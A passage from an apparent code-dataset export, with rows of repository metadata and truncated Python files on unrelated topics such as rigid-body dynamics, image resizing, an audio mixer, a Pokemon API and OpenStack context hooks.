"CC-BY-4.0"
] | 134 | 2015-05-19T15:24:18.000Z | 2022-03-12T09:39:03.000Z | notebooks/exercise_solutions/n04_inertia_define-rigid-body.py | pydy/pydy-tutorial-human-standing | 72b1d8513e339e9b10e501bd3490caa3fa997bc4 | [
"CC-BY-4.0"
] | 46 | 2015-05-05T18:08:20.000Z | 2022-01-28T11:12:42.000Z | notebooks/exercise_solutions/n04_inertia_define-rigid-body.py | pydy/pydy-tutorial-pycon-2014 | 72b1d8513e339e9b10e501bd3490caa3fa997bc4 | [
"CC-BY-4.0"
] | 62 | 2015-06-16T01:50:51.000Z | 2022-02-26T07:39:41.000Z | upper_leg = RigidBody('Upper Leg', upper_leg_mass_center, upper_leg_frame,
upper_leg_mass, upper_leg_central_inertia)
torso = RigidBody('Torso', torso_mass_center, torso_frame,
torso_mass, torso_central_inertia) | 50.4 | 74 | 0.710317 | upper_leg = RigidBody('Upper Leg', upper_leg_mass_center, upper_leg_frame,
upper_leg_mass, upper_leg_central_inertia)
torso = RigidBody('Torso', torso_mass_center, torso_frame,
torso_mass, torso_central_inertia) | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
ff3427b9d859910345294bf4b5465ecba9122bb3 | 4,320 | py | Python | pretix_eth/signals.py | mikulas-mrva/pretix-eth-payment-plugin | 948a456e99823129620bab5a7fad9bb4d9e5bea4 | [
"Apache-2.0"
] | 19 | 2019-06-04T23:15:46.000Z | 2022-03-14T16:26:54.000Z | pretix_eth/signals.py | mikulas-mrva/pretix-eth-payment-plugin | 948a456e99823129620bab5a7fad9bb4d9e5bea4 | [
"Apache-2.0"
] | 152 | 2019-06-04T22:41:06.000Z | 2022-03-25T08:08:54.000Z | pretix_eth/signals.py | mikulas-mrva/pretix-eth-payment-plugin | 948a456e99823129620bab5a7fad9bb4d9e5bea4 | [
"Apache-2.0"
] | 12 | 2019-06-05T08:16:14.000Z | 2021-06-17T14:45:26.000Z |
NUM_WIDGET = '<div class="numwidget"><span class="num">{num}</span><span class="text">{text}</span></div>' # noqa: E501
| 33.75 | 120 | 0.671528 | from django.dispatch import receiver
from django.urls import resolve, reverse
from django.utils.translation import gettext_lazy as _
from django.template.loader import get_template
from pretix.base.middleware import _parse_csp, _merge_csp, _render_csp
from pretix.presale.signals import (
html_head,
process_res... | 0 | 3,422 | 0 | 0 | 0 | 0 | 0 | 385 | 383 |
ebea6f15e3db82b709db81df32d647649d6a8a93 | 2,889 | py | Python | node_registry/decorators.py | rahulkatiyar19955/node_registry | 42a2ed4ea7271a312223c724543e278ff9c9f54c | [
"BSD-3-Clause"
] | 2 | 2021-07-05T12:36:29.000Z | 2021-12-24T08:20:13.000Z | node_registry/decorators.py | rahulkatiyar19955/node_registry | 42a2ed4ea7271a312223c724543e278ff9c9f54c | [
"BSD-3-Clause"
] | null | null | null | node_registry/decorators.py | rahulkatiyar19955/node_registry | 42a2ed4ea7271a312223c724543e278ff9c9f54c | [
"BSD-3-Clause"
] | 4 | 2021-06-30T04:22:58.000Z | 2021-12-19T06:06:34.000Z | #!/usr/bin/env python3
# Copyright (c) 2021, DeepX-inc
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
#
# * Redistributions of source code must retain the above copyright
# notice, this list of conditions and t... | 35.666667 | 77 | 0.695396 | #!/usr/bin/env python3
# Copyright (c) 2021, DeepX-inc
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
#
# * Redistributions of source code must retain the above copyright
# notice, this list of conditions and t... | 0 | 0 | 0 | 0 | 0 | 97 | 0 | 0 | 26 |
d240b6a414bfe4d22c22e839f7db47dec3fc7dec | 410 | py | Python | inst/tdda/constraints/examples/elements_constraint_discovery.py | noamross/tdda | c105496561a0328ac73b6bce872f94f2566ed835 | [
"MIT"
] | 4 | 2016-11-14T02:35:01.000Z | 2016-11-14T07:54:09.000Z | inst/tdda/constraints/examples/elements_constraint_discovery.py | noamross/tdda | c105496561a0328ac73b6bce872f94f2566ed835 | [
"MIT"
] | 1 | 2016-11-14T03:57:27.000Z | 2016-11-14T03:57:27.000Z | inst/tdda/constraints/examples/elements_constraint_discovery.py | noamross/tdda | c105496561a0328ac73b6bce872f94f2566ed835 | [
"MIT"
] | null | null | null | # elements_constraints_discovery.py
from __future__ import print_function
import pandas as pd
from tdda.constraints.pdconstraints import discover_constraints, verify_df
df = pd.read_csv('../testdata/elements92.csv')
constraints = discover_constraints(df)
with open('elements92.tdda', 'w') as f:
f.write(constraint... | 22.777778 | 74 | 0.782927 | # elements_constraints_discovery.py
from __future__ import print_function
import pandas as pd
from tdda.constraints.pdconstraints import discover_constraints, verify_df
df = pd.read_csv('../testdata/elements92.csv')
constraints = discover_constraints(df)
with open('elements92.tdda', 'w') as f:
f.write(constraint... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
470388ba998feb4d4e15d3e237870f6eda6ccee0 | 6,510 | py | Python | cayenne/model_io.py | Heuro-labs/pyssa | d2f368787eeb90e3459d405a0cf769035103433f | [
"Apache-2.0"
] | 9 | 2020-07-18T21:41:35.000Z | 2020-10-24T16:34:51.000Z | cayenne/model_io.py | Heuro-labs/pyssa | d2f368787eeb90e3459d405a0cf769035103433f | [
"Apache-2.0"
] | 86 | 2018-12-01T22:45:17.000Z | 2020-07-11T21:07:24.000Z | cayenne/model_io.py | Heuro-labs/pyssa | d2f368787eeb90e3459d405a0cf769035103433f | [
"Apache-2.0"
] | 1 | 2020-08-15T18:38:57.000Z | 2020-08-15T18:38:57.000Z | """
The class that handles model IO
"""
| 35.380435 | 88 | 0.62427 | """
The class that handles model IO
"""
import numpy as np
import antimony as sb
class ModelError(Exception):
pass
class InitialStateError(ModelError):
pass
class RateConstantError(ModelError):
pass
class ChemFlagError(ModelError):
pass
class VolumeError(ModelError):
pass
class Mod... | 0 | 1,262 | 0 | 5,017 | 0 | 0 | 0 | -3 | 184 |
98ccf30d7e46ccb831be21b3f20a95078139f504 | 2,044 | py | Python | data2vec/ema.py | AryanShekarlaban/data2vec-pytorch | 39245c4874d1098ca8e2fa583444e21c98b950ac | [
"MIT"
] | 30 | 2022-02-18T08:30:41.000Z | 2022-03-25T12:04:31.000Z | data2vec/ema.py | ishine/data2vec-pytorch | 39245c4874d1098ca8e2fa583444e21c98b950ac | [
"MIT"
] | null | null | null | data2vec/ema.py | ishine/data2vec-pytorch | 39245c4874d1098ca8e2fa583444e21c98b950ac | [
"MIT"
] | 2 | 2022-02-18T09:25:56.000Z | 2022-03-29T02:58:36.000Z | import torch.nn as nn
| 28.388889 | 85 | 0.584149 | import torch
import torch.nn as nn
class EMA:
"""
Modified version of class fairseq.models.ema.EMAModule.
Args:
model (nn.Module):
cfg (DictConfig):
device (str):
skip_keys (list): The keys to skip assigning averaged weights to.
"""
def __init__(self, model: nn.Mo... | 0 | 231 | 0 | 1,754 | 0 | 0 | 0 | -9 | 45 |
93081e5c8f1e1557dd46d29a25c687a8397b1a5c | 647 | py | Python | models/love.py | hand-code/pbs | d5d8dc00d949b70f96118fc09c2ba8e627625591 | [
"MIT"
] | null | null | null | models/love.py | hand-code/pbs | d5d8dc00d949b70f96118fc09c2ba8e627625591 | [
"MIT"
] | null | null | null | models/love.py | hand-code/pbs | d5d8dc00d949b70f96118fc09c2ba8e627625591 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
"""
package.module
~~~~~~~~~~~~~~
A brief description goes here.
:copyright: (c) 2016 by chenxiaofeng.
:license: LICENSE_NAME, see LICENSE_FILE for more details.
"""
| 21.566667 | 68 | 0.646059 | # -*- coding: utf-8 -*-
"""
package.module
~~~~~~~~~~~~~~
A brief description goes here.
:copyright: (c) 2016 by chenxiaofeng.
:license: LICENSE_NAME, see LICENSE_FILE for more details.
"""
from datetime import datetime
from .base import db
class Love(db.Model):
__tablename__ = 'love'
i... | 0 | 0 | 0 | 360 | 0 | 0 | 0 | 7 | 67 |
518d6034da48b45d59aa40ca94323ef347ca9d81 | 3,022 | py | Python | Tests/TestGenericCell.py | HSZittauGoerlitz/EnSySim | 7094b803785e14610351f5fa6a40b2e7bc827a28 | [
"MIT"
] | 1 | 2021-12-03T23:11:42.000Z | 2021-12-03T23:11:42.000Z | Tests/TestGenericCell.py | HSZittauGoerlitz/EnSySim | 7094b803785e14610351f5fa6a40b2e7bc827a28 | [
"MIT"
] | 1 | 2021-04-06T11:33:46.000Z | 2021-04-13T07:17:24.000Z | Tests/TestGenericCell.py | HSZittauGoerlitz/EnSySim | 7094b803785e14610351f5fa6a40b2e7bc827a28 | [
"MIT"
] | 1 | 2021-09-28T06:09:32.000Z | 2021-09-28T06:09:32.000Z | # To add a new cell, type '# %%'
# To add a new markdown cell, type '# %% [markdown]'
# %%
# Imports
from BoundaryConditions.Simulation.SimulationData import getSimData
from Controller.Cell.CHP_SystemThermal import CtrlDefault
from GenericModel.Design import generateGenericCell
from GenericModel.PARAMETER import PBTYPE... | 29.627451 | 73 | 0.647253 | # To add a new cell, type '# %%'
# To add a new markdown cell, type '# %% [markdown]'
# %%
# Imports
from BoundaryConditions.Simulation.SimulationData import getSimData
from Controller.Cell.CHP_SystemThermal import CtrlDefault
from GenericModel.Design import _check_pBTypes, generateGenericCell
from GenericModel.PARAMET... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 36 | 22 |
56979ff60c88b550bba5a3ec85536dcf816b0ce0 | 613 | py | Python | Chapter3-Resizing_Croping.py | iamavx/OpenCV_Tutorial | 908a2a91122888245f69dcc8b10c6c9f0e684f08 | [
"MIT"
] | 1 | 2021-09-10T09:28:18.000Z | 2021-09-10T09:28:18.000Z | Chapter3-Resizing_Croping.py | iamavx/OpenCV_Tutorial | 908a2a91122888245f69dcc8b10c6c9f0e684f08 | [
"MIT"
] | null | null | null | Chapter3-Resizing_Croping.py | iamavx/OpenCV_Tutorial | 908a2a91122888245f69dcc8b10c6c9f0e684f08 | [
"MIT"
] | null | null | null | # Hey Dear , the convention of plotting the graph is different from mathematical representation
# x-axis is same as x-axis and y-axis is opposite to y-axis
import cv2
img = cv2.imread("/Users/abhishekraj/Downloads/xa.jpeg")
# Image is just the array of pixel or matrix
print(img.shape)
# Resize the image
imgResize =... | 26.652174 | 95 | 0.748777 | # Hey Dear , the convention of plotting the graph is different from mathematical representation
# x-axis is same as x-axis and y-axis is opposite to y-axis
import cv2
img = cv2.imread("/Users/abhishekraj/Downloads/xa.jpeg")
# Image is just the array of pixel or matrix
print(img.shape)
# Resize the image
imgResize =... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
603ecd0bc66f07365339135fc944eed79f9b4719 | 1,104 | py | Python | pil/resize_images.py | DaviNakamuraCardoso/Projeto-ATMCP | ac4bbde04294681091d916e83c20c27be67c623a | [
"MIT"
] | null | null | null | pil/resize_images.py | DaviNakamuraCardoso/Projeto-ATMCP | ac4bbde04294681091d916e83c20c27be67c623a | [
"MIT"
] | null | null | null | pil/resize_images.py | DaviNakamuraCardoso/Projeto-ATMCP | ac4bbde04294681091d916e83c20c27be67c623a | [
"MIT"
] | null | null | null | from PIL import Image
def quarter(filename):
"""
:param filename: the filename
:return: redefined image
"""
image = Image.open(filename)
width, height = image.size
quarter_sized = image.resize((int(width/2), int(height/2)))
quarter_sized.save('quarter_sized_%s.png' % filename.strip('.... | 21.647059 | 71 | 0.664855 | from PIL import Image
def quarter(filename):
"""
:param filename: the filename
:return: redefined image
"""
image = Image.open(filename)
width, height = image.size
quarter_sized = image.resize((int(width/2), int(height/2)))
quarter_sized.save('quarter_sized_%s.png' % filename.strip('.... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
0fb2ec2756a2a6f552006a936c1e5d61783044d7 | 60,753 | py | Python | toy.py | Gattocrucco/sipmfilter | 74215d6c53b998808fc6c677b46030234d996bdf | [
"CC-BY-4.0",
"MIT"
] | null | null | null | toy.py | Gattocrucco/sipmfilter | 74215d6c53b998808fc6c677b46030234d996bdf | [
"CC-BY-4.0",
"MIT"
] | null | null | null | toy.py | Gattocrucco/sipmfilter | 74215d6c53b998808fc6c677b46030234d996bdf | [
"CC-BY-4.0",
"MIT"
] | null | null | null | """
Module to run a simulation of photodetection signals and test various filters.
Classes
-------
Toy : the main class to run the simulations
Noise : abstract class to generate noise, see concrete subclasses
WhiteNoise : generate white noise
DataCycleNoise : generate noise copying it from a source array
Filter : clas... | 37.594678 | 130 | 0.545734 | """
Module to run a simulation of photodetection signals and test various filters.
Classes
-------
Toy : the main class to run the simulations
Noise : abstract class to generate noise, see concrete subclasses
WhiteNoise : generate white noise
DataCycleNoise : generate noise copying it from a source array
Filter : clas... | 0 | 2,282 | 0 | 55,539 | 0 | 102 | 0 | 1 | 456 |
75e0f19fcdc2b334476dff4f3220ae21f3088cb3 | 1,146 | py | Python | ObjectOrientedPython/MultiLevelInheritance.py | dsabhrawal/python-examples | 55b3dd6c9fd0b992bcfe3422765dc80fb143a54b | [
"MIT"
] | 1 | 2020-03-01T17:24:20.000Z | 2020-03-01T17:24:20.000Z | ObjectOrientedPython/MultiLevelInheritance.py | dsabhrawal/python-examples | 55b3dd6c9fd0b992bcfe3422765dc80fb143a54b | [
"MIT"
] | null | null | null | ObjectOrientedPython/MultiLevelInheritance.py | dsabhrawal/python-examples | 55b3dd6c9fd0b992bcfe3422765dc80fb143a54b | [
"MIT"
] | null | null | null | # Child class is able to access parent class methods and variables
# When one sub-child class is extending child which extends Parent class
P = Parent()
P.displayP()
#P.displayC() #output error as Parent doesn't inherit child methods
C = Child()
C.displayC() #Child class display
C.displayP() #Inherited from pa... | 21.622642 | 72 | 0.691972 | # Child class is able to access parent class methods and variables
# When one sub-child class is extending child which extends Parent class
class Parent:
def __init__(self):
super().__init__()
print('Parent constructor')
def displayP(self):
print('Parent Display')
class Child(Paren... | 0 | 0 | 0 | 469 | 0 | 0 | 0 | 0 | 68 |
276ceaa857bcc924ee73bd6edc9b7ab70190dcd7 | 3,490 | py | Python | RNN/Embedding/Embedding_RNN.py | JimCurryWang/Deep-Learning-Jot | b72e36b54089f7a8b92409b69b7187e84103f76e | [
"MIT"
] | null | null | null | RNN/Embedding/Embedding_RNN.py | JimCurryWang/Deep-Learning-Jot | b72e36b54089f7a8b92409b69b7187e84103f76e | [
"MIT"
] | null | null | null | RNN/Embedding/Embedding_RNN.py | JimCurryWang/Deep-Learning-Jot | b72e36b54089f7a8b92409b69b7187e84103f76e | [
"MIT"
] | null | null | null | import torch
import torchvision.datasets as datasets
import torchvision.transforms as transforms
from torch import optim
from torch import nn
from torch.utils.data import DataLoader
from tqdm import tqdm
# Set device
device = torch.device("cuda" if torch.cuda.is_available() else "cpu")
# Hyperparameters
sequence... | 30.347826 | 99 | 0.667622 | import torch
import torchvision
import torch.nn.functional as F
import torchvision.datasets as datasets
import torchvision.transforms as transforms
from torch import optim
from torch import nn
from torch.utils.data import DataLoader
from tqdm import tqdm
# Set device
device = torch.device("cuda" if torch.cuda.is_... | 0 | 0 | 0 | 851 | 0 | 0 | 0 | 7 | 67 |
e9b777358be7790fcff0d62bac6d7a0a9a8952e4 | 39,495 | py | Python | pa-mixer-mk3.py | mk-fg/pulseaudio-mixer-cli | 1d88123d9a060775adf13a0356e8918151dd5995 | [
"BSD-3-Clause"
] | 67 | 2015-01-02T07:49:42.000Z | 2022-03-18T03:37:53.000Z | pa-mixer-mk3.py | mk-fg/pulseaudio-mixer-cli | 1d88123d9a060775adf13a0356e8918151dd5995 | [
"BSD-3-Clause"
] | 8 | 2015-03-08T19:04:44.000Z | 2018-04-01T09:41:27.000Z | pa-mixer-mk3.py | mk-fg/pulseaudio-mixer-cli | 1d88123d9a060775adf13a0356e8918151dd5995 | [
"BSD-3-Clause"
] | 16 | 2015-01-02T02:03:22.000Z | 2021-05-21T17:31:50.000Z | #!/usr/bin/env python3
from collections import namedtuple
import sys, logging
get_logger = lambda name: LogStyleAdapter(logging.getLogger(name))
conf_read.path_default = '~/.pulseaudio-mixer-cli.cfg'
PAMixerUIFit = namedtuple('PAMixerUIFit', 'rows controls')
if __name__ == '__main__': sys.exit(main())
| 36.468144 | 97 | 0.691682 | #!/usr/bin/env python3
import itertools as it, operator as op, functools as ft
from collections import OrderedDict, defaultdict, deque, namedtuple
from contextlib import contextmanager
import os, sys, io, re, time, logging, configparser
import base64, hashlib, unicodedata, math
import signal, threading
from pulsectl ... | 0 | 6,372 | 0 | 24,768 | 0 | 7,219 | 0 | 290 | 526 |
306bef8e39c23bcd0cf71a704440b1dc3caee8b9 | 489 | py | Python | Curso em Video/ex052.py | CamilliCerutti/Exercicios-de-Python-curso-em-video | 6571a5c5cb7b4398352a7778c55588c0c16f13c2 | [
"MIT"
] | null | null | null | Curso em Video/ex052.py | CamilliCerutti/Exercicios-de-Python-curso-em-video | 6571a5c5cb7b4398352a7778c55588c0c16f13c2 | [
"MIT"
] | null | null | null | Curso em Video/ex052.py | CamilliCerutti/Exercicios-de-Python-curso-em-video | 6571a5c5cb7b4398352a7778c55588c0c16f13c2 | [
"MIT"
] | null | null | null | # NMEROS PRIMOS
# Faa um programa que leia um nmero inteiro e diga se ele ou no um nmero primo.
num = int(input('Digite um numero inteiro: '))
tot = 0
for c in range(1, num + 1):
if num % c == 0:
print('\033[33m', end='')
tot += 1
else:
print('\033[31m', end='')
print(f'{c} ', end=... | 25.736842 | 85 | 0.574642 | # NÚMEROS PRIMOS
# Faça um programa que leia um número inteiro e diga se ele é ou não um número primo.
num = int(input('Digite um numero inteiro: '))
tot = 0
for c in range(1, num + 1):
if num % c == 0:
print('\033[33m', end='')
tot += 1
else:
print('\033[31m', end='')
print(f'{c} '... | 18 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
150188eef1c9e7a46e73130b781732f794cea4ae | 4,181 | py | Python | pygmt/src/x2sys_init.py | jbusecke/pygmt | 9ef6338dbb9bdd4c31dda94da6d4126852a6cd85 | [
"BSD-3-Clause"
] | 326 | 2019-02-13T09:33:39.000Z | 2022-03-25T17:24:05.000Z | pygmt/src/x2sys_init.py | jbusecke/pygmt | 9ef6338dbb9bdd4c31dda94da6d4126852a6cd85 | [
"BSD-3-Clause"
] | 1,153 | 2019-01-22T19:14:32.000Z | 2022-03-31T22:07:03.000Z | pygmt/src/x2sys_init.py | jbusecke/pygmt | 9ef6338dbb9bdd4c31dda94da6d4126852a6cd85 | [
"BSD-3-Clause"
] | 160 | 2019-02-10T15:24:19.000Z | 2022-03-31T09:07:41.000Z | """
x2sys_init - Initialize a new x2sys track database.
"""
| 36.356522 | 87 | 0.626405 | """
x2sys_init - Initialize a new x2sys track database.
"""
from pygmt.clib import Session
from pygmt.helpers import build_arg_string, fmt_docstring, kwargs_to_strings, use_alias
@fmt_docstring
@use_alias(
D="fmtfile",
E="suffix",
F="force",
G="discontinuity",
I="spacing",
N="units",
R="re... | 0 | 3,978 | 0 | 0 | 0 | 0 | 0 | 75 | 67 |
de0ab9ba82e5cb46cd900a055eb265d9a380f676 | 3,023 | py | Python | ahoproc_tools/io.py | BaiYuhaoSpiceeYJ/SEGAN_denoise | 5bf65ae72b9f0a996ae338c53c68c4967e08cd59 | [
"MIT"
] | null | null | null | ahoproc_tools/io.py | BaiYuhaoSpiceeYJ/SEGAN_denoise | 5bf65ae72b9f0a996ae338c53c68c4967e08cd59 | [
"MIT"
] | null | null | null | ahoproc_tools/io.py | BaiYuhaoSpiceeYJ/SEGAN_denoise | 5bf65ae72b9f0a996ae338c53c68c4967e08cd59 | [
"MIT"
] | null | null | null | """
MIT License
Copyright (c) 2016 Santi Dsp
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distr... | 37.7875 | 78 | 0.691697 | """
MIT License
Copyright (c) 2016 Santi Dsp
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distr... | 0 | 0 | 0 | 0 | 0 | 1,647 | 0 | -12 | 180 |
9c0729a0d2a687ca071649142967c9392dd275c4 | 40,307 | py | Python | GraphPackage/GraphLibrary.py | dtklinh/Protein-Rigid-Domains-Estimation | a27152ef5437eb87ee31c317091356c4787f82a4 | [
"MIT"
] | null | null | null | GraphPackage/GraphLibrary.py | dtklinh/Protein-Rigid-Domains-Estimation | a27152ef5437eb87ee31c317091356c4787f82a4 | [
"MIT"
] | null | null | null | GraphPackage/GraphLibrary.py | dtklinh/Protein-Rigid-Domains-Estimation | a27152ef5437eb87ee31c317091356c4787f82a4 | [
"MIT"
] | null | null | null | #from GraphPackage.Graph_Config import Path2ViterbiJar
#if __name__=='__main__':
# idx_num = 2
# Path2GraphStructure = "../TextFolder/Graph_{}.txt".format(str(idx_num))
# Path2GraphCluster = "../TextFolder/Graph_{}_Cluster.txt".format(str(idx_num))
# Path2SynthesisFeature = "../TextFolder/Graph_{}... | 47.308685 | 164 | 0.543131 | import igraph as ig
from igraph import Graph
import numpy as np
import sys, os
from GraphPackage.AssistantObjects import Feature_Workhouse
from GraphPackage.AssistantObjects import DynDomEntry
from csb.bio.utils import rmsd
from mainPackage.PathAndDir import Dir2TmpFile
#from GraphPackage.Graph_Config import Path2Viter... | 0 | 0 | 0 | 37,652 | 0 | 0 | 0 | 144 | 266 |
f3f9a9fe3f72fc5d2c4970e22cf834c38f3d9c8d | 45 | py | Python | 23/02/1.py | pylangstudy/201706 | f1cc6af6b18e5bd393cda27f5166067c4645d4d3 | [
"CC0-1.0"
] | null | null | null | 23/02/1.py | pylangstudy/201706 | f1cc6af6b18e5bd393cda27f5166067c4645d4d3 | [
"CC0-1.0"
] | 70 | 2017-06-01T11:02:51.000Z | 2017-06-30T00:35:32.000Z | 23/02/1.py | pylangstudy/201706 | f1cc6af6b18e5bd393cda27f5166067c4645d4d3 | [
"CC0-1.0"
] | null | null | null | import sys
sys.exit()
print('after exit()')
| 9 | 21 | 0.666667 | import sys
sys.exit()
print('after exit()')
| 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
b9cba7bccaf2517549a84a89a591b46c6c50958c | 1,726 | py | Python | src/sciencedates/tests/test_msis.py | scienceopen/sciencedates | 8cfe3540b77dba4083e42aa91bb32942e1e26a04 | [
"MIT"
] | 2 | 2019-01-18T17:47:07.000Z | 2019-08-02T12:43:48.000Z | src/sciencedates/tests/test_msis.py | geospace-code/sciencedates | 8cfe3540b77dba4083e42aa91bb32942e1e26a04 | [
"MIT"
] | null | null | null | src/sciencedates/tests/test_msis.py | geospace-code/sciencedates | 8cfe3540b77dba4083e42aa91bb32942e1e26a04 | [
"MIT"
] | 2 | 2018-04-09T06:48:36.000Z | 2018-10-26T02:32:15.000Z | """
tests for time conversions relevant to MSISE00
"""
from __future__ import annotations
import datetime
import typing
import numpy as np
T: list[typing.Any] = [datetime.datetime(2013, 7, 2, 12, 0, 0)]
T.append(T[0].date())
T.append(np.datetime64(T[0]))
T.append(str(T[0]))
| 19.393258 | 63 | 0.589803 | """
tests for time conversions relevant to MSISE00
"""
from __future__ import annotations
import datetime
import typing
import numpy as np
from pytest import approx
import sciencedates as sd
T: list[typing.Any] = [datetime.datetime(2013, 7, 2, 12, 0, 0)]
T.append(T[0].date())
T.append(np.datetime64(T[0]))
T.append(... | 0 | 0 | 0 | 0 | 0 | 1,251 | 0 | 8 | 183 |
5a1cb2a78ede26e932787cec83704b27437a2196 | 1,978 | py | Python | app/views.py | emrpla/PokemonApp | 3d64334ef88f3b941181d8ef0d7c3fc40da3a592 | [
"MIT"
] | null | null | null | app/views.py | emrpla/PokemonApp | 3d64334ef88f3b941181d8ef0d7c3fc40da3a592 | [
"MIT"
] | null | null | null | app/views.py | emrpla/PokemonApp | 3d64334ef88f3b941181d8ef0d7c3fc40da3a592 | [
"MIT"
] | null | null | null |
# PokeList view allows the whole pokemon list to be returned.
# SinglePoke view ensures that the pokemon whose id is given will return
| 37.320755 | 136 | 0.641557 | from .serializers import PokemonsSerializer,SinglePokemonSerializer
from rest_framework.response import Response
from rest_framework.views import APIView
import json
import requests
# PokeList view allows the whole pokemon list to be returned.
class PokeList(APIView):
def get(self,request):
poke_list = []... | 0 | 0 | 0 | 1,604 | 0 | 0 | 0 | 72 | 154 |
921849f14036446ebee04a41e8512d8d5fe28969 | 167 | py | Python | multi_add.py | sleepyknife/pchome-api | fa7a91bd79d764259efbc7726a3e4eef006fc953 | [
"MIT"
] | null | null | null | multi_add.py | sleepyknife/pchome-api | fa7a91bd79d764259efbc7726a3e4eef006fc953 | [
"MIT"
] | null | null | null | multi_add.py | sleepyknife/pchome-api | fa7a91bd79d764259efbc7726a3e4eef006fc953 | [
"MIT"
] | null | null | null | import os
add_list = ["DBAG0K-A9009ZRQC-000","DBAG0K-1900AZBJY-000"]
for index in add_list:
os.system("node multi_add_cart.js {} {}".format(index,len(add_list)))
| 27.833333 | 73 | 0.718563 | import os
add_list = ["DBAG0K-A9009ZRQC-000","DBAG0K-1900AZBJY-000"]
for index in add_list:
os.system("node multi_add_cart.js {} {}".format(index,len(add_list)))
| 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
7c3f9a339d73794c25d19396a757319c0357208c | 2,438 | py | Python | neutron/pecan_wsgi/hooks/context.py | ISCAS-VDI/neutron-base | 687f03d7131839ae8bc324d5823194d1245bb050 | [
"Apache-2.0"
] | 1 | 2016-03-25T21:13:13.000Z | 2016-03-25T21:13:13.000Z | neutron/pecan_wsgi/hooks/context.py | ISCAS-VDI/neutron-base | 687f03d7131839ae8bc324d5823194d1245bb050 | [
"Apache-2.0"
] | 3 | 2015-02-27T00:48:55.000Z | 2015-04-21T05:29:37.000Z | neutron/pecan_wsgi/hooks/context.py | ISCAS-VDI/neutron-base | 687f03d7131839ae8bc324d5823194d1245bb050 | [
"Apache-2.0"
] | 3 | 2015-02-26T00:55:17.000Z | 2020-03-01T17:05:40.000Z | # Copyright 2012 New Dream Network, LLC (DreamHost)
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# ... | 39.967213 | 78 | 0.661608 | # Copyright 2012 New Dream Network, LLC (DreamHost)
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# ... | 0 | 0 | 0 | 1,672 | 0 | 0 | 0 | 25 | 91 |
ed45f65ae6266c8fc0b18d4ceb1c91e3bbb76114 | 1,420 | py | Python | microservices/nris_api/backend/app/nris/utils/apm.py | ActionAnalytics/mds | 7ac61b0b73b1d310db7dcf2d830b5746b851fe4a | [
"Apache-2.0"
] | null | null | null | microservices/nris_api/backend/app/nris/utils/apm.py | ActionAnalytics/mds | 7ac61b0b73b1d310db7dcf2d830b5746b851fe4a | [
"Apache-2.0"
] | null | null | null | microservices/nris_api/backend/app/nris/utils/apm.py | ActionAnalytics/mds | 7ac61b0b73b1d310db7dcf2d830b5746b851fe4a | [
"Apache-2.0"
] | 1 | 2020-01-22T14:19:16.000Z | 2020-01-22T14:19:16.000Z |
def register_apm(name=None):
"""This decorator wraps a passed function with a call to the app's registered Elastic APM instance
:param object: Function to be wrapped and decorator parameters by calling
:type object: object
:raises e: Client connection exception.
:return: Wrapped function
:rt... | 33.809524 | 102 | 0.583099 | from app.extensions import sched
from elasticapm import Client
from flask import current_app
def register_apm(name=None):
"""This decorator wraps a passed function with a call to the app's registered Elastic APM instance
:param object: Function to be wrapped and decorator parameters by calling
:type obj... | 0 | 0 | 0 | 0 | 0 | 946 | 0 | 27 | 93 |
a404cec6aaf3a557fd5bc8b1e937f7be03a217d4 | 2,980 | py | Python | 20_Stats_for_Featurizer.py | bjascob/amr_coref | e062fcf39b3db82889a58e52fd2cfdb772a279dc | [
"MIT"
] | 1 | 2021-03-04T13:02:04.000Z | 2021-03-04T13:02:04.000Z | 20_Stats_for_Featurizer.py | bjascob/amr_coref | e062fcf39b3db82889a58e52fd2cfdb772a279dc | [
"MIT"
] | 1 | 2021-12-05T18:48:58.000Z | 2021-12-05T18:48:58.000Z | 20_Stats_for_Featurizer.py | bjascob/amr_coref | e062fcf39b3db82889a58e52fd2cfdb772a279dc | [
"MIT"
] | null | null | null | #!/usr/bin/python3
import numpy
from tqdm import tqdm
from collections import defaultdict
from amr_coref.utils.logging import setup_logging, ERROR
from amr_coref.coref.coref_mention_data import CorefMentionData
from amr_coref.utils.data_utils import load_json
from amr_coref.coref.vocab_embeddings import load_word_set
... | 44.477612 | 103 | 0.643624 | #!/usr/bin/python3
import numpy
from tqdm import tqdm
from collections import defaultdict
from amr_coref.utils.logging import setup_logging, ERROR
from amr_coref.coref.coref_mention_data import CorefMentionData
from amr_coref.utils.data_utils import load_json
from amr_coref.coref.vocab_embeddings import loa... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 12 | 0 |
6fa47628b7be9fbafae3dc5de18b3ec5d702f81e | 970 | py | Python | nlplingo/tasks/eventpair/feature.py | BBN-E/nlplingo | 32ff17b1320937faa3d3ebe727032f4b3e7a353d | [
"Apache-2.0"
] | 3 | 2020-10-22T13:28:00.000Z | 2022-03-24T19:57:22.000Z | nlplingo/tasks/eventpair/feature.py | BBN-E/nlplingo | 32ff17b1320937faa3d3ebe727032f4b3e7a353d | [
"Apache-2.0"
] | null | null | null | nlplingo/tasks/eventpair/feature.py | BBN-E/nlplingo | 32ff17b1320937faa3d3ebe727032f4b3e7a353d | [
"Apache-2.0"
